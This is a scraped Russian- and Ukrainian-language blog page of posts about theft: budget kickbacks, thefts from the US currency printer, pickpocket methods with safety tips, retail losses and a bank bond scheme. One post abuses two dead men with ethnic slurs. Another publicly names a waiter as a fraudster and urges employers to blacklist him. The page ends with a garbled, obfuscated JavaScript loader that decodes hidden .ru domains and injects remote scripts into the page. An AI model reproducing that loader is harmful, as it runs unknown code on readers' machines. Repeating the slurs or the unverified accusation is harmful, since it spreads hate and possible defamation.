хочу сюди!
 

Ксения

41 рік, овен, познайомиться з хлопцем у віці 37-54 років

Замітки з міткою «воровство»

Как воруют из оборонного бюджета.

    Сайт глючит, набрал заметку а она исчезла. Ну вторая попытка:
   На международном сайте, куда я хаживаю, возник спор, где круче воруют из оборонного бюджета страны, не в абсолютных цифрах, а в процентах, сколько с этого отката выходит. Ну понятное дело все кинулись рассказывать, что в их стране воруют больше и лучше, каждый кулик своё болото хвалит. Публика столько интересного вывалила, пальчики оближешь, честно говоря я подозревал, что победит человек из африканской страны, но увы мне, не угадал. Победил Джон из США, который с самого начала сказал:
- Дети вы все, в странах ваших воровать не умеют, всем надо ездить в США и учиться этому ремеслу!
"400 термокружек для кофе за 325.000 долларов США"
  Кому лень переводить, перескажу в двух словах: 
- для летного персонала, работающего на транспортных самолётах и самолётах-заправщиках ВВС США за 2 года были закуплены примерно 400 кружек-термосов с возможностью подогрева от бортовой сети самолёта;
- термо-кружки закупались у Локхид Мартин, цена одной термо-кружки колебалась от 580 до 1280 долларов за штуку;

Ну распил и распил, чего тут особенного, но сейчас внимательно:
1. Причиной большой цены за единицу названо то, что данная продукция более не производится, поэтому штучное изготовление - дорого.
2. Причиной такого спроса на эти термокружки названо то, что они часто выходят из строя.
3. Из-за того, что кружки и детали к ним больше не производятся, ВВС не закупало необходимые детали, а заказывало всю кружку.
4. Деталь, послужившая причиной столь частых поломок - пластмассовая ручка-держатель.

по ссылке выше есть и героиня собственной персоной, термокружка и её ломающаяся пластиковая ручка.
   Все признали победу Джона и свою неправоту. Народ кинулся искать аналоги термокружек в своей стране, вышло что купить можно от 4 до 15$. Естественно и я поискал, с доставкой к нам , вот "аналог" по рыночной цене: 

  Вышло 9,08 $, я предложил Джону купить у меня кружки по божеской цене в 15$, но он сказал, что "Локхид Мартин" фирма серьёзная и откаты даёт знатные, так что никто не сможет её от кормушки отодвинуть. Печалька однако. А мы короче и здесь пролетели Кстати американские друзья все как один сказали, что Клинтониха в своё время спёрла из денег направляемых Украине по закрытым программам не менее 6 млрд баксов. И кто она после этого?

Вороненков.

я хочу сказати, що обидва вони - і Шеремет, були кацапи, гівно, аферисти стандартні кацапські, жулье,-
і навіть своею смертью остаточно насрали всім на лице...
.
Вони не могли померти тихенько, десь у підворітні, у лікарні, на дачі, в кінці- кінців...
Не, вони як були гівном ( це можна зрозуміти, бачачи їх життевий Шлях і діяльність), так і померли- вредячи всіммм.
Всю країну вибили з колії на два дня, собаки.
Гівно завжди і помирае не тихенько ( як нормальна, добра людина) - а насравши і навредивши всім на останок. Ми всі можем померти у любу секунду, але вони - Всіх напрягли своею смертю...всю країну з колії вибили на два дня. Всі відчули не приемні відчуття Сильні. Бо вони спецом так насрали. Бо кацапи. А щоб ви знали. Навіть своею смертю вони нам навредили. Бо гівно завжди вредить. навіть, помираючи...

Внимание, МОШЕННИК!

Лысенко Виталий Витальевич, 1982 г.р. – официант-мошенник со стажем.

Обращаюсь в особенности к коллегам-рестораторам.

Никогда и ни при каких условиях не имейте рабочих и деловых отношений с проходимцем по имени Лысенко Виталий Витальевич. Этот человек, помимо привычных ему воровства и обсчитывания гостей, организовал в ресторане целую теневую схему с подставным кассовым аппаратом и вовлеченными в ОПГ сотрудниками других смен и подразделений. То есть воровал дважды: и у гостей, и у ресторана.

 

Всем работодателям страны настоятельно рекомендуем ни в коем случае не брать этого человека на работу!

Мы приложим все усилия, чтоб вор и мошенник Лысенко Виталий Витальевич не смог трудоустроиться ни в один ресторан Украины.

Коллеги, просьба: максимальный репост!


Безопасность имущества - главный приоритет!

Очень неприятно, когда тебя разлучают с вещами, которые тебе очень дороги. Герои нашей подборки, настолько предусмотрительные и смекалистые, что у воришек просто нет шансов на успех.


Спутниковые противоугонные системы... зачем? Есть же более надежные средства 
Находчивые люди, которых очень сложно обворовать

Находчивые люди, которых очень сложно обворовать


Так не доставайся же ты никому
Находчивые люди, которых очень сложно обворовать


Когда местные хулиганы задолбали постоянно откручивать запаску 
Находчивые люди, которых очень сложно обворовать


Встречайте! Сигнализация с обратной связью 

Еще один верный способ спугнуть угонщика
Находчивые люди, которых очень сложно обворовать


Проверенный метод сохранить свою машину в целости 
Находчивые люди, которых очень сложно обворовать


Тот случай, когда ты любишь мотоциклы, но у тебя нет гаража 
Находчивые люди, которых очень сложно обворовать





Велосипедисты тоже привыкли оберегать своих железных коней 



Но получается это не всегда ...


Чтобы не украли украденное 


Суровая "Почта России" 
Находчивые люди, которых очень сложно обворовать

Находчивые люди, которых очень сложно обворовать


Врожденная осторожность 
Находчивые люди, которых очень сложно обворовать


Коммунальщики тоже очень предусмотрительные ребята 

Находчивые люди, которых очень сложно обворовать


Так надежнее 
Находчивые люди, которых очень сложно обворовать

Находчивые люди, которых очень сложно обворовать

Находчивые люди, которых очень сложно обворовать


Припрет - достанут 


Отгадайте страну по фото 


Отличная идея для тех, кто переживает, что их багаж украдут 
Находчивые люди, которых очень сложно обворовать

Как из американского "Гознака" крали доллары.



Может ли работник американского ВЕРа – аналога российского Гознака – вынести с работы отпечатанные миллионы долларов? За последние 25 лет это происходило трижды. Самое интересное – воры во всех случаях отделывались несколькими месяцами тюрьмы. 
Как из американского "Гознака" три раза крали свежеотпечатанные миллионы долларов
Американское «Бюро по выпуску денежных знаков и ценных бумаг» (ВЕР) – это главная печатная фабрика денег мира. Именно в этом правительственном учреждении США печатаются доллары – начиная с 1874 года. На 2010 год в мире находилось в обращении 760 млрд. наличных долларов, из которых 2/3 – за рубежом . С конца 1980-х 80% отпечатанных здесь долларов отправлялись за границу. 

Сегодня ВЕР ежедневно печатает около 33 млн. банкнот в день – на сумму 530 млн. долларов (в год – на 120-130 млрд. долларов, два дня в неделю здесь нерабочие). Себестоимость одной банкноты составляет 5,7 цента, ВЕР ежегодно получает прибыль в 500-550 млн. долларов (в том числе от продажи билетов на экскурсии на фабрику, а также от сувениров – в виде брикетов измельчённых «списанных» долларов). 

На фабрике американского «Гознака», находящемся в округе Колумбия, трудится около 2000 человек, непосредственно за «печатным станком» – примерно 700 человек. 

Только внутри здания работают 160 офицеров спецслужб. Ещё около 100 офицеров – вне здания, кроме высших управленцев фабрики в лицо их никто не знает (зачем нужны эти спецслужбисты, будет описано ниже). При входе и выходе из бюро проверяются все сумки и личные вещи, все помещения оборудованы камерами слежения. Перед устройством на работу, люди проверяются на срок до 2-х месяцев (выявляются даже их дальние родственники – вплоть до троюродных братьев и двоюродных племянников). 

Но несмотря на самые совершенные методы противодействия кражам, за последние 25 лет были выявлены 11 воров банкнот, 9 из них найдены и наказаны, 2 до сих пор в бегах. Руководство ВЕР и спецслужбы предпочитают не распространяться об этих случаях, но три самых крупных кражи всё же стали достоянием общественности. О них написано в книге обозревателя The Wall Street Journal Крейга Кармина Biography of the dollar. 

Кармин говорит, со ссылкой на директора фабрики Ларри Феликса (кстати, первого негра в истории, занявшего этот пост), что самым уязвимым местом является цех по уничтожению банкнот. Ежегодно в ВЕР со всего мира на уничтожение свозится 30 млн. банкнот – ветхие, выцветшие, со стёртой краской, и т.д. Именно в этом цехе и работал Дональд Строукс-младший. 

Строукс начал свою работу на фабрике в 1991 году. С конца 1990-х он приступил к преступной деятельности. Доказанным является воровство им 700 тыс. долларов, но сам Строукс однажды в беседе с дальним родственником проговорился, что стащил более 3 млн. долларов (в суде родственник отказался от этих фактов, но на предварительном следствии говорил о них). 

Строукс на протяжении 8 лет рассовывал по карманам 20- и 50-долларовые купюры, предназначенные к уничтожению, и спокойно проходил мимо охраны. Эту операцию он проделывал с частотой 3 раза в месяц – отправлялся в туалет, и там уже прятал банкноты на теле и даже внутри тела (свернув их трубочкой). В октябре 2004 года ВЕР обнаружило пропажу 5 тыс. долларов. Строукс попал в число подозреваемых, а в марте 2005 года агенты (из числа тех самых 100 тайных офицеров фабрики, о которых говорилось выше) произвели обыск дома в отсутствие хозяина, и обнаружили в его куртке несколько тысяч ветхих долларов. 

В тот же день Строукс пустился в бега. Позаимствовав у двоюродного брата его удостоверение личности, он на машине поехал из Вашингтона на запад. Через месяц ФБР выследило его в Оклахоме, и после погони на скорости 150 км/ч воришка был задержан. В его машине были обнаружены 80 тыс. долларов наличными. 

Строукса приговорили всего к 41 месяцу тюрьмы, за примерное поведение он вообще вышел через 32 месяца. 

В 2006 году выяснилось, что уязвимым оказался и офис ВЕР. Дэвид Фейсон сознался в краже 21 листа 100-долларовых купюр, которые он пытался «отмыть» в казино. 

Его работа состояла в развозке больших листов специальной бумаги, используемых для печати долларов. Благодаря этому он имел доступ к режимной зоне, где и печатались новые банкноты. Фейсона удалось задержать после того, как в казино Атлантик-Сити заметили, что он использует 100-долларовые купюры, не имеющие ни печати Федеральной резервной системы, ни серийных номеров. Видеокамеры зафиксировали, как злоумышленник опускал краденые купюры в игровой автомат, какое-то время играл, а затем менял оставшиеся жетоны на настоящие наличные доллары. 

В доме Фейсона власти обнаружили девять листов 100-долларовых купюр, в казино же он оставил ещё 14,5 тыс. краденых долларов. Фейсон был приговорён судом штата Мэриленд (где он проживал) всего к 9 месяцам тюремного заключения. 

Но самым известным грабителем в истории ВЕР стал человек, от которого, что называется, этого никто не мог ожидать. В 1989 году 26-летний вундеркинд Роберт П.Шмитт-младший возглавил группу, задача которой состояла в создании защитной нити для новой 100-долларовой купюры. Работа группы продолжалась до июня 1994 года, когда Шмитта арестовали за кражу 1,7 млн. долларов (это то, что удалось доказать – судя по тратам вора, он унёс купюр в несколько раз больше). 

На сей раз всё обошлось без погони и ставок в казино. Кража, совершённая инженером ВЕР, носила более методичный характер, Шмитт продемонстрировал терпение, которым не обладали предыдущие воры. 

Выпускник университета Карнеги-Меллона, Шмитт получал за свою работу в бюро 66 тысяч 890 долларов в год (с учётом инфляции доллара, сегодня эта сумма эквивалентна примерно 130 тыс. долларов в год). Он жил со своей матерью в Мэриленде, а также содержал подругу и двух её детей. Шмитт выносил 100-долларовые купюры из находившегося на втором этаже хранилища, пользуясь специальными ключами, которые имелись только у него и ещё пятерых высокопоставленных сотрудников. Для выноса денег он сделал потайной карман в своём портфеле. 

Вынос денег являлся лишь первой фазой плана. Он крал банкноты, оставшиеся после тестового прогона и предназначавшиеся для уничтожения. Эти тестовые банкноты ничем не отличались от настоящих и даже имели реальные серийные номера. Шмитт понимал, что ему нужно продержаться 4 года, дожидаясь момента, когда ФРС пустит в обращение новые банкноты. Шмитт знал, что по закону банки обязаны представлять органам государственной власти сведения обо всех денежных депозитах размером 10 тыс. долларов и более. Шмитт сделал депозиты в 8 банках так, что каждый из них оставался ниже этого предела. 

Схема Шмитта провалилась, когда сотрудников банка в Аннаполисе привлекло то обстоятельство, что он регулярно делает депозиты новенькими 100-долларовыми купюрами на сумму несколько меньше установленного законом порога в 10 тыс. При более внимательном рассмотрении оказалось, что сумма этих депозитов за два месяца составила 213 тыс. 787 долларов. 

Помимо прочего выяснилось, что Шмитт скупал недвижимость. Так, он приобрёл за 400 тыс. долларов дом на берегу Чесапикского залива – с тремя спальнями, бассейном , СПА и двумя гаражами. Четверть этой суммы он оплатил наличными. Также за 126 тысяч наличными он приобрёл кондоминиум в находившемся неподалёку Оушен-Сити. По словам соседей, опрошенных спецслужбой ВЕР, мать Шмитта говорила им, что получила неожиданное наследство и одолжила деньги сыну, чтобы тот приобрёл новые дома. Когда Шмитти взяли, он уже успел внести залог за третий свой дом – в округе Колумбия, за 250 тыс. долларов. 

В тот день, когда Шмитта арестовали, полицейские обнаружили 500 тыс. долларов в сейфовой ячейке одного банка и 650 тыс. , спрятанных в спортивном Nissan 300 ZX, принадлежащем вундеркинду. 

Роберт признал свою вину, но уверял, что действовал в состоянии умопомешательства, вызванного чрезмерным пристрастием к флуоксетину. К моменту рассмотрения дела Шмитта в окружном суде, он сообщил судье, что перешёл на ксанакс. «Я просто хотел снять напряжение», оправдывался он в суде. Суд счёл этот факт смягчающим обстоятельством, в итоге Шмитта приговорили всего к 27 месяцам заключения.

Столь малые сроки за такие деяния могут поразить россиян. В нашей стране за преступления «против государства» сидят помногу. Но в США воровства банкнот с фабрики ВЕР было квалифицировано судом просто как кража. Что бутылку виски украл, что миллион долларов.

Про воров-карманников.

До тех пор, пока есть брюки с карманами, будут существовать люди, пытающиеся их опустошить. Они работают в каждом городе: острые навыки, проверенные методы, отточенное мастерство, возведенное в ранг науки. Они знают и умеют все, что нужно, чтобы оставить туристов без наличных. И единственный способ не дать им испортить ваше путешествие — превзойти их в их же собственной игре. Мы подготовили путеводитель по самым главным секретам карманников! 

Секреты мировой элиты карманников


Карманные кражи зачастую являются делом рук целой команды, известной как «свист толпы», у каждого члена которой есть определенное задание. «Бычок» выбирает жертву, «стойло» ее отвлекает, в то время как «тень» затуманивает процесс самого воровства, называемого «провал», который исполняется непосредственно «инструментом» или «механиком». Вскоре после провала добычу передают бегуну или «герцогу». Таким образом, если даже «механика» поймают, денег у него не обнаружат. К слову, «пушка» является самостоятельным вором, обладающим такой наглостью и таким изяществом, что позволяет ему работать в одиночку. 

Шаг 1: Все дело в местоположении. Первое препятствие, которое должен преодолеть карманник — это личное пространство, поскольку большинство людей становятся весьма осторожны, когда кто-то подходит слишком близко. Вот почему воры часто работают в толпе: это отличное прикрытие для физического контакта. Они охотятся в метро, в автобусах, на концертах, в ночных клубах, на парадах и в прочих местах, где люди отвлечены каким-нибудь зрелищем. 

Шаг 2: Оценить жертву. Карманники, как правило, избегают конфронтации. Выбирая жертву, которая представляет наименьший риск, они становятся похожими на волков, охотящихся на газель. Но они должны знать, какие ценности имеет жертва и где их держит. Поэтому, если потенциальная жертва находится в зоне досягаемости, вор осторожно и незаметно пасет цель. Нагрудный карман пиджака называется «яма», боковые карманы штанов именуют «идиотами». 

Шаг 3: Придумать отвлечение. Элитные карманники знают, что простой вопрос, заданный жертве, может развеять бдительность и осторожность человека. Легкое давление на левый локоть отвлечет вас от руки незнакомца, который вытаскивает телефон из кармана вашего пиджака. Хитрость заключается не только в том, чтобы застать вас врасплох, но и в том, чтобы переориентировать ваше внимание. 

Шаг 4: Использовать науку. Настоящий мастер будет использовать ваши движения против вас. Например, стоя вместе с вами в лифте, вместо того, чтобы вытаскивать телефон из кармана, он дождется, пока вы, сделав шаг из лифта, просто оставите телефон у него в руке. Поскольку он практически не сделал лишних движений, приготовившись лишь в нужный момент вложить свою руку в ваш карман, вы, скорее всего, ничего не почувствуете. 

Общие приемы карманника 

Секреты мировой элиты карманников


1. Значок «Остерегайтесь карманников». Как мы уже говорили, карманники должны понимать, где вы храните свои ценные вещи. Простой способ сделать это — расклеивать такие знаки в туристических районах. Подсознание работает таким образом, что человек, увидев этот знак, обязательно проверит сохранность своего кошелька и телефона. 

2. «Столкнуться и затормозить». Классическая схема, например, рядом с турникетами в метро и на эскалаторах с двумя задействованными ворами. Один человек впереди вас резко неожиданно останавливается, из-за чего вы врезаетесь в «стойло», второй — «механик» — стоя позади, обчищает ваши карманы. 

3. «Картонный знак». Любое зрелище и наличие толпы дает возможность ворам сделать свою работу. Но иногда им приходится придумывать собственные отвлекающие маневры. Самые распространенные схемы — вылить что-нибудь на вас, спросить дорогу, пофлиртовать, уронить что-нибудь и, конечно же, классика — цыганские дети, размахивающие кусками картона перед вашим лицом. 

4. Согласно старой аналогии: Если вы находитесь в толпе, за которой гонится медведь, вам не нужно быть самым быстрым, чтобы выжить, главное — не быть самым медленным.

Секреты мировой элиты карманников


Воры-карманники ищут легкую добычу: растерянный турист с кучей пакетов в руках, девушка, сосредоточенная на переписке в социальных сетях. Не будьте одним из них! Или по крайней мере сделайте так, чтобы ваши ценные вещи было трудно украсть. Труднодоступные ценности — лучшая защита от большинства воров. Парни, положите бумажник в передний карман, а не в задний и оберните его резинкой, чтобы он не скользил! Кроме того, можно оставить пустой бумажник-приманку в заднем кармане, чтобы внимание карманника было сосредоточено в неверном направлении. Дамы, носите кошельки и сумочки перед собой, когда находитесь в толпе! Держите их закрытыми, не упускайте из поля зрения! Храните ценные вещи — наличные, карты и документы — в разных местах! Если вы станете жертвой карманника, то хотя бы не лишитесь всего одновременно. Самое главное — не выставляйте регулярно все свои ценности на всеобщее обозрение! Половина карманных краж происходит потому, что воры точно знают, что у вас есть и где вы это держите.

Исследование. Работники магазинов крадут больше покупателей.



Во всем мире, потери составили в среднем 1,42% что показывает рост с предыдущих 0,94% 2014-го года из опрошенных за оба периода. Интересно, что еще годом ранее воровством служащих было обусловлено 33,3% потерь.

Общие потери русских магазинов с сентября минувшего года по сентябрь 2015-го эксперты оценили в 6,17 млрд долларов. 47% — это кражи собственными сотрудниками, 14% — управленческие и некриминальные потери, еще 6% приходится на недобросовестных поставщиков, и, наконец, 34% — это воровство клиентов. При всем этом в остальных государствах, изученных исследователями, большинство потерь появляется из-за краж гостей.

В списке более часто похищаемых товаров в Российской Федерации, согласно отчету, — стильные аксессуары, электроинструменты, мобильные устройства и аксессуары, вино и спиртные напитки.

Подавляющая доля денежных потерь розничных торговцев в РФ — внутренняя. Всего принимало участие 203 компании с суммарным оборотом $996,2 млрд. Для расчета потерь и иных характеристик данные отдельных ритейлеров унифицированы по специализации торговли, странам и регионам. Специалисты объясняют повышенную тягу к воровству на рабочем месте сложной ситуацией в экономике, когда цены растут, а заработной платы остаются прошлыми. Уполномоченный X5 Retail Group не смог оперативно ответить на запрос.

Согласно отчету спиртные напитки входят в список часто похищаемых товаров в России

Банкиры-жонглеры

Главком
 
Банкиры-жонглерыБанкиры-жонглеры

Сергей Березин, для «Главкома»
Вчера, в 06:00

Пока Министерство финансов судорожно ищет возможности закрыть как можно больше бюджетных дыр за счет получения новых или пролонгации старых кредитов, в Национальном банке продолжают работать схемы по выводу денег через облигации внутреннего государственного займа. Непосредственным активным участником сделок, как заявляют учасники рынка, является ранее принадлежавшая Валерии Гонтаревой компания «Инвестиционный капитал Украина».

Правило жирных рук

Облигации внутреннего государственного займа остаются едва ли не самым ликвидным активом на украинском фондовом рынке. Львиная доля торгов ценными бумагами – это сделки с ОВГЗ разных периодов. При этом статистика участников этих торгов – практически неизменна в течение последних полутора лет. По данным фондовой биржи «Перспектива», где в 2014 году оборот торговли ОВГЗ составил 479 млрд. грн., а за 7 месяцев 2015 – 164 млрд. грн., в десятку лидеров торговли традиционно входят государственные «Ощадбанк», «Укргазбанк», а также ранее принадлежавшая нынешней главе Национального банка Украины Валерии Гонтаревой компания ICU («Инвестиционный капитал Украина»).

Интересно, что как только Гонтарева стала председателем центробанка, в десятку лидеров по торгам уверенно вошел банк «Авангард», также принадлежавший ей до перехода на государственную службу. При этом ведущие позиции постепенно покинул другой заметный игрок – ООО «Фондовый актив», среди акционеров которого – сама фондовая биржа «Перспектива». Кроме того, компании находятся по одному адресу и на одном номере телефона в Днепропетровске.

Согласно рэнкингу Cbonds (рэнкинг торговцев по объемам сделок с ОВГЗ на биржевом и внебиржевом рынках), в 2014 году компания ICU и банк «Авангард» совокупно «держали» около 20% торгов ОВГЗ. В 2015 позиции сохранились практически неизменными: в первом квартале – более 24%, во втором – за счет радикального роста доли «Ощадбанка» и размывания остальных игроков – 19,5%. Однако, по информации участников рынка, практически весь объем, который «нагоняют» ICU и банк «Авангард» (ранее на этом месте был «Фондовый актив») – это посреднические операции между реальными участниками рынка, коммерческими и государственными банками. Суть посредничества сводится не только и не столько к организации процесса, сколько в «фильтрации» определенных сумм, которые затем могут перераспределяться между заинтересованными в вымывании денег сторонами. По сути, функции бывших компаний Гонтаревой чем-то напоминают анекдот об отце, который объяснял сыну суть банковского дела с помощью куска сала и жирных рук.

Поясним на примере. Допустим, два государственных банка, «Укргазбанк» (или банк 1) и «Ощадбанк» (или банк 2) хотят разыграть между собой гособлигации на несколько сотен миллионов гривень. Первый заявляет к продаже, а второй – к покупке идентичное количество облигаций, но с разной фиксированной доходностью. Для начала, чтобы не вызывать особых подозрений, банк 1 продает 1000 облигаций посреднику по заниженной цене. Затем посредник несколько раз «жонглирует» этими 1000 облигаций между «партнерами» и котировки этой ценной бумаги уже идут вверх. Тренд понятен: цена на бумаги растет – хорошее оправдание для банка 2, который – также через посредника – купит эти облигации несколько дороже. Разницу участники процесса положат себе в карман.

При этом если еще несколько лет назад главной «площадкой», на которой оседали прибыли делков (а на самом деле – деньги налогоплательщиков, которыми заливают государственные банки) было уже упомянутое выше ООО «Фондовый актив», то сегодня речь идет либо об ICU, либо о банке «Авангард».

Точная информация, сколько зарабатывают посредники сегодня, недоступна. Однако можно провести аналогии с 2012 годом, когда средний «навар» за месяц операций мог составлять до 5% с каждого такого «розыгрыша». Из 479 млрд. грн. объема торгов ОВГЗ в 2014 году, 25% (около 119 млрд. грн.) прошли через «Ощадбанк». Даже если допустить, что посредники «оседлали» не более 20% всего потока (что очень сомнительно), доход «из воздуха» все равно получится немалым – около 1,2 млрд. грн.

К слову, по таким же схемам и с участием практически тех же посредников вымывают деньги из собственного капитала и частные банкиры, которые продают ценные бумаги по заниженной цене, а реальную разницу делят с компаниями-прокладками.

Вторая похожая схема – это «сбрасывание» дохода от государственных ценных бумаг на компании-посредники с помощью продажи таких облигаций за несколько дней до момента выплаты купона и обратного выкупа после этого. Такие операции, как писали СМИ, неоднократно проворачивали участники торгов на бирже «Перспектива» в течение всего 2014 года. Их участники – те же ICU, «Авангард», Ощадбанк, Укргазбанк.

Зеркальные схемы

Естественно, такие схемы «работы» государственных и коммерческих банков с ценными бумагами невозможна без прямого покровительства в Национальном банке. И зная, какие операции покрывались регулятором до этого, несложно предположить, что здесь ведут точный учет утерянного рефинансирования и выветривающихся денег налогоплательщиков. При этом работа механизма не прекращается ни на минуту, даже несмотря на смену фамилий в руководстве НБУ. Чего стоит едва ли не зеркальное повторение схемы «Брокбизнесбанк – Аграрный фонд – Нацбанк» в треугольнике «Дельта Банк – Государственное ипотечное учреждение – Нацбанк» уже при Валерии Гонтаревой.

Напомним, схема по выводу более 2 млрд. грн. рефинансирования из «Брокбизнесбанка» с участием Аграрного фонда была построена как раз на использовании в этой цепочке ОВГЗ. Аграрный фонд решил заработать на операции РЕПО и отдал облигации «Брокбизнесу». Вырученные деньги тут же легли на депозит в этом же банке. «Брокбизнес», в свою очередь, решил получить кредит в рамках операции РЕПО у Нацбанка.

Таким образом, физически в банке Сергея Курченко сконцентрировалось более 4 млрд. грн. Деньги от РЕПО с Нацбанком были выведены, депозит Аграрного фонда – «сгорел» вместе с другими вкладами юрлиц и крупными депозитами клиентов-«физиков». Схема стала отправной для целого ряда уголовных дел. По одному из них задержан и сейчас пребывает в СИЗО заместитель председателя правления Нацбанка Борис Приходько, по второму – под домашним арестом в Берлине находится экс-глава правления «Укрсоцбанка» и один из менеджеров Курченко Борис Тимонькин.

Однако, как показывают события вокруг «Дельта банка», не на каждое преступление есть свое наказание. Что же осуществил «Дельта банк»? Косвенные признаки указывают на то, что в такую же «переделку» как Аграрный фонд в «БББ», в «Дельте» попало Государственное ипотечное учреждение. Депозит, который «завис» у ипотечников в банке Николая Лагуна (облигации – депозит – РЕПО – рефинансирование) – около 3,5 млрд. грн. Это сумма, за которую ведомство попыталось посражаться, выступив потенциальным покупателем «Дельты», пока туда введена временная администрация, но не принято решение о ликвидации.

Однако Национальному банку идея не понравилась, поскольку для докапитализации «Дельты» придется – в случае с ГИУ – вливать в банк государственные деньги. Которых и так немало утекло через это финучреждение. По данным издания Finbalanсе, в 2014 году за период руководства в Нацбанке Игоря Соркина (до 24 февраля) «Дельта Банк» получил от НБУ под залог гособлигаций по операциям РЕПО 1,42 млрд. грн. В период руководства в НБУ Степана Кубива (с 24 февраля по 20 июня) – 4,15 млрд. грн кредитов для сохранения ликвидности под залог имущественных прав по кредитным договорам.

Кроме того, в этот период «Дельта Банк» под залог гособлигаций по операциям РЕПО получил еще 786 млн грн, а на тендерах под залог гособлигаций, облигаций ГИУ и облигаций предприятий с гарантией Кабмина – 2,6 млрд. грн. В период руководства в НБУ Валерии Гонтаревой (с 20 июня) «Дельта Банк» получил от Нацбанка стабкредит на 960 млн грн, а также 1 млрд грн - под залог гособлигаций на тендерах. Информация о том, какую часть этих средств удастся вернуть из неплатежеспособного банка – тайна за семью печатями. Активы «Дельты» практически не работают. Косвенно об этом свидетельствует объем резервирования под обесценивание кредитов и других финансовых активов, на которое с начала года было потрачено почти 40 млрд. грн. (это, к слову, и стало причиной наибольших убытков банка по сравнению с остальной банковской системой).

Собственный капитал по итогам двух кварталов 2015 года составил минус 44 млрд. грн. То есть только для выхода на «нулевую» отметку нужно влить в банк не менее $2 млрд. – неподъемная сумма для государства и любого потенциального инвестора. И фактически – «приговор» для бывшего топ-менеджмента, а также – по аналогии с делом Приходько – ответственными за покрытие схемы чиновником из Нацбанка.

Но не тут-то было. Больше всего претензий – да и то, не уголовных, а всего лишь материальных – ТОПам банка Николая Лагуна предъявляет пока лишь Фонд гарантирования вкладов физлиц, который намерен взыскать с незадачливых руководителей 1 млрд. грн. Кроме того, Генеральная прокуратура возбудила против директоров «Дельты» уголовное дело за разбазаривание рефинансирования. Как отмечается в материалах суда (иск подан прокуратурой), досудебным расследованием установлено, что банк в течение 2014 получил от Национального банка Украины рефинансирования в объемах около 10 млрд. грн., из которых на 4,1 млрд. грн. было приобретено 535,3 млн. долларов США и перечислено за границу в интересах 12 связанных между собой украинских компаний, отдельные должностные лица которых одновременно являются сотрудниками «Дельты».

Сколько еще таких эпизодов будет выявлено в ходе дальнейшего расследования – остается только догадываться. Однако судя по темпам, виновных в убытках банка и тысяч обманутых вкладчиков не скоро ждет реальная ответственность.

Нужно сказать, что глубину проблем банка и невозможность их решить за счет существующих правовых механизмов подтверждает целый ряд экспериментов, санкционированных руководством Национального банка Украины над вкладчиками «Дельты». В первую очередь, это блокирование выплат части депозитов, которые считаются «дробленными». Почему эта «санкция» касается только клиентов одного финучреждения – большой вопрос. Далее, приостановка выплат в связи с недостатком средств – также нестандартный шаг, поскольку ранее признание неплатежеспособными «Надра банка», «Форума», «Брокбизнеса» почему-то не вызывало таких действий ФГВФЛ.

Сейчас все больше участников рынка говорят о том, что «Дельту» хотят как можно быстрее похоронить без привлечения дополнительных ресурсов из бюджета, поскольку это может разбалансировать государственную смету. Следующим шагом, очевидно, будет поиск новых желающих проворачивать масштабные схемы. Однако пока других претендентов, кроме госбанков, а также компаний, ранее принадлежавших Валерии Гонтаревой, для этого нет.

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21797",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="21797",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof 